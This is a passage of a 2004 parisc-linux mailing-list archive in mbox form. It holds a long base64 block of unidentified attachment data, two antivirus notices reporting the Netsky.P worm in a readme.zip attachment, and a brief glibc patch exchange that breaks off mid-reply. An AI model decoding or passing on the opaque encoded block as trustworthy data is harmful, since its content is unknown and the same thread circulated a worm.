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
kNlyWXYNMlbX+r8


From - Thu Nov 08 21:31:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Tue, 6 Apr 2004 01:39:13 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <05b501c41b67$33b64060$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623334 7630 80.91.229.3 (22 Nov 2014 02:28:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:54 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Mon Apr  5 17:39:27 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id AFECC4864
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Apr 2004 17:39:26 -0600 (MDT)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E890BC.dip0.t-ipconnect.de
	[217.232.144.188])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i35NdPo17570
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Apr 2004 01:39:25 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Tue, 6 Apr 2004 01:39:13 +0200
thread-index: AcQbZzO2TIjwoPn2R/e2PbrizAGpRQ==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 05 Apr 2004 23:39:13.0669 (UTC)
	FILETIME=[33BAFB50:01C41B67]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Apr 2004 23:39:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21290

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/6/2004 1:39:13 AM
Engine/Pattern = 7.000-1004/1.851.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Tue, 6 Apr 2004 06:41:13 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <066c01c41b91$640da440$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623334 7632 80.91.229.3 (22 Nov 2014 02:28:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:54 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Mon Apr  5 22:42:06 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7811548EA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Apr 2004 22:42:05 -0600 (MDT)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E890BC.dip0.t-ipconnect.de
	[217.232.144.188])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i364g4o27610
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Apr 2004 06:42:04 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Tue, 6 Apr 2004 06:41:13 +0200
thread-index: AcQbkWQNPTY+pU1ARbWGUnu9cBq3ZA==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 06 Apr 2004 04:41:13.0682 (UTC)
	FILETIME=[64198B20:01C41B91]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Apr 2004 04:42:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21291

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/6/2004 6:41:13 AM
Engine/Pattern = 7.000-1004/1.851.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [PATCH] glibc-2.3.3 error with debian unstable
	compiler...
Date: Tue, 6 Apr 2004 12:46:54 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <40711E5600000D4E@ocpmta1.freegates.net>
References: <20040402180356.GG1081@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623335 7636 80.91.229.3 (22 Nov 2014 02:28:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Tue Apr  6 05:27:42 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B3294844
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Apr 2004 05:27:42 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1BAojy-00043x-00; Tue, 06 Apr 2004 13:27:38 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 6 Apr 2004 12:46:54 +0200
In-Reply-To: <20040402180356.GG1081@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Apr 2004 11:27:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21292

Carlos,

I just apply your patch against the glibc cvs dated 20040405 (yesterday for
me).
It compiles well with last updated gcc (3.3.3-6 dpkg iirc) :)

I just complete the 'make -k check' (on chroot disk) which finished with
nothing more then well known bug :)

... And the compile (always in the chroot disk) of the last k-2.6.5-pa3 just
finishes with success :)

hth,
    Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [PATCH] glibc-2.3.3 error with debian unstable
	compiler...
Date: Tue, 6 Apr 2004 09:14:47 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20040406131445.GO26344@baldric.uwo.ca>
References: <20040402180356.GG1081@baldric.uwo.ca>
	<40711E5600000D4E@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623335 7637 80.91.229.3 (22 Nov 2014 02:28:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:55 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Tue Apr  6 07:18:34 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 438CB4844
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Apr 2004 07:18:34 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BAqPf-0001we-00; Tue, 06 Apr 2004 09:14:47 -0400
Content-Disposition: inline
In-Reply-To: <40711E5600000D4E@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (53% Sync Ratio [=====.....])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Apr 2004 13:18:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21293

On Tue, Apr 06, 2004 at 12:46:54PM +0200, Joel Soete wrote:
> Carlos,
> 
